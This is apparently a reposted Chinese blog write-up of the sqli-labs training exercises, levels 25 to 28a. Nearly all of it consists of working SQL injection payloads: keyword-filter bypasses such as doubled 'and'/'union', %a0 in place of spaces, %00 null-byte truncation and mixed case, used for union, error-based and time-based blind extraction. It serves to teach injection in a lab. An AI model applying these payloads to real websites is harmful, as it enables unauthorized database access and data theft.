less-25
首先正常页面 说是or和and属于他们 过滤一个id参数的值 搞不懂 先正常来
判断注入点
?id=1 正常
正常来说是缺少单引号
?id=1’#
提示Your Input is Filtered with following result: 1′
?id=1′–+ 成功
提示 Your Input is Filtered with following result: 1′ ‘1’=’1
原来如此 一开始就提示了 and和or 属于他们的 把and和 or过滤掉了
?id=0′ union select 1,2,3 –+ 成功
?id=0′ union select 1,database(),3 –+ 成功
?id=0′ union select 1,extractvalue(1,concat(‘~’,database())),3 –+ 使用联合查询的报错函数也成功了
?id=1′ aandnd 1=1 –+ 成功
?id=1′ aandnd 1=2 –+ 成功
发现&&一致报错 提示也没获取到&&符号以及后面的内容
但是or|| 一真则真
?id=2′ || 1=1 –+ 成功
?id=2′ || 1=2 –+ 成功
?id=0′ || extractvalue(1,concat(‘~’,database())) –+ 成功
less-25a
和上关提示一样 也是过滤了or和and
判断注入点
试试符号形式的and和or
?id=1 || 1=1 成功
?id=1 || 1=2 成功
看来是整型注入点
?id=2 aandnd 1=1 成功
?id=2 aandnd 1=2 失败
双写也可以
使用联合查询
?id=0 UNION SELECT 1,2,3 成功
?id=0 UNION SELECT 1,2,database() 成功
使用 延时函数
?id=1 anandd if(1,sleep(2),2) 成功
less-26
判断注入点
?id=1 and 1=1
提示获取到了Your Input is Filtered with following result: 11=1
看来and和or还有空格都被过滤了 测试注释的时候发现注释也被过滤了
?id=1′ 报错:to use near ”1” 好消息这里能判断注这是字符型注入点
这么多东西都被过滤了 只能进行替换一个一个试了
看看双写
?id=1′ anandd ‘1’=’1 失败
但是提示显示获取到了and 证明双写可以 空格没有被获取到所以导致失败
space在url中是%20 可以 使用%a0 || %0b绕过
成功
因为是字符型注入
现在的操作是
?id=1’%a0anandd%a0’1’=’1可以
但是注释符也被过滤了如果继续进行注入操作还是不行的
想办法把最后的单引号闭合
想到了两种方式
第一种方式就是再后面再加上一个and后者or
?id=1’%a0anandd%a0 1=1%a0anandd’1’=’1 成功
第二种方式就是
%00会截断整个url
?id=1’%a0anandd%a0 1=1 ;%00 成功
%20代表空格 %a0 也代表空格 在服务器只会过滤space方式的空格
%00属于空符截断。在某些编程语言和数据库实现中,它表示字符串的终止符
也就是说我们传入%00 服务器会把这个%00带入到数据库中 在数据库中的sql语句如果遇到了%00后面的语句就不执行了 也就相当于注释的意思 但是比注释更狠 因为注释不会注释服务器后端sql语句最后的分号 但是%00会把分号注释掉 所以要加上一个分号
在这里还要提一句
这关可以使用报错注入和联合注入 使用报错注入的时候 不用管空格因为有没有空格这个语句都会报错 在报错函数中可能会使用from之类的中间会有空格可以用括号括起来 像第二个例句一样
报错注入实例
?id=-1’||updatexml(1,concat(0x7e,database()),1)||’1’=’1
?id=1’||extractvalue(1,concat(‘~’,(select(group_concat(schema_name))from(information_schema.schemata))))||’1’=’1
联合注入实例
?id=1’%a0union%a0select%a01,2,3;%00
less-26a
提示和上一关一样没什么区别
注入测试
?id=1′ 报错 没给具体报错信息 不能使用报错函数
?id=1 反斜杠被过滤
?id=1 and 1=1 and和空格照样被过滤
?id=1%a0anandd%a01=1;%00 输出id=1的值
?id=1%a0anandd%a01=2;%00 输出id=1的值
;%00不报错可以证明该语句后面没有特殊字符
看源码
$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1″;
$sql=”SELECT * FROM users WHERE id=(‘1 and 1=2;
?id=1′)%a0anandd%a01=1;%00
?id=1′)%a0anandd%a01=2;%00
这两个语句成功执行了能使用盲注和联合查询 但是我还不明白为什么上面的能输出id=1的结果应该是报错呀
注意
1按理说空字符截断应该数据库报错 竟然没报错并且查询到了结果 有时候只能多尝试 把学过的都试一遍
2为什么字符串里面只要是第一个是1 2都能查询出结果 是因为 设置id为整型 强制转换后只保留第一位 后面输入啥都无所谓
代码分析
less-27
?id=1 and 1=1# 提示Your Input is Filtered with following result: 1and1=1
发现注释符和空格也被过滤 但是and没被过滤
?id=1′to use near ”1” 有报错信息 估计是单引号没被闭合
?id=1’%a0and%a0’1’=’1′;%00成功执行
?id=1’%a0and%a0’1’=’2′;%00失败执行
确定为字符型注入点
?id=0’%a0uunionnion%a0seseselectlectlect%a01,2,3;%00
试试大小写混合可不可以
?id=0’%a0UNIon%a0sELect%a01,2,3;%00 大小写也可以
这样就可以使用联合查询注入和报错注入
代码分析
less-27a
和上题的提示一样
进行尝试
?id=1 and 1=1# 依旧是去除了空格注释
?id=1′ 不报错并查询出结果 估计也是字符型的但是没用单引号
?id=1 报错信息不全 不能使用报错注入
?id=1″%a0and%a01=1;%00 成功
?id=1″%a0and%a01=2;%00 失败
上两句确定了注入点
构造语句 发现union和上一题一样过滤一次 select过滤两次 大小写也能成功绕过
?id=0″%a0ununionion%a0sELECT%a01,2,3;%00
试一试盲注(盲注是最慢的最不推荐)
?id=1″%a0and%a0if(1,sleep(2),2)%a0;%00 成功
代码分析
less-28
提示和27管一样过滤union和select
进行测试
?id=1 and 1=1# Your Input is Filtered with following result: 1and1=1
发现没有过滤and 和前几关一样过滤了注释和空格
?id=1′ 报错:没有详细的报错信息 不能使用报错注入
?id=1′;%00 报错 可能是整型 可能对参数使用的形式不止单引号
?id=1 and 1=1;%00成功
?id=1 and 1=2;%00成功
以上两个语句得出不是整型 那就是不止只有单引号
?id=1′)%a0and%a01=1;%00 成功
?id=1′)%a0and%a01=2;%00 失败
?id=0′)%a0union%a0select%a01,2,3;%00 说是过滤union和select但是经过测试并没有被过滤
从而判断出这题能使用联合查询注入和盲注 不能使用报错注入
less-28a
提示信息依旧是过滤union和select
注入测试
?id=1′ 报错:无详细报错信息 不能使用报错注入
?id=1′;%00 得出可能是整型可能字符型不止单引号
轻轻松松试出来
?id=1′)%a0and%a01=1;%00 成功
?id=1′)%a0and%a01=2;%00 不成功
的到注入点 构造语句
轻松拿下
?id=0′)%a0union%a0select%a01,2,3;%00
id=1′)%a0and%a0if(1,sleep(2),1);%00
可以使用联合查询 盲注
代码分析
原文地址:https://blog.csdn.net/m0_72125469/article/details/134651971
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_5303.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!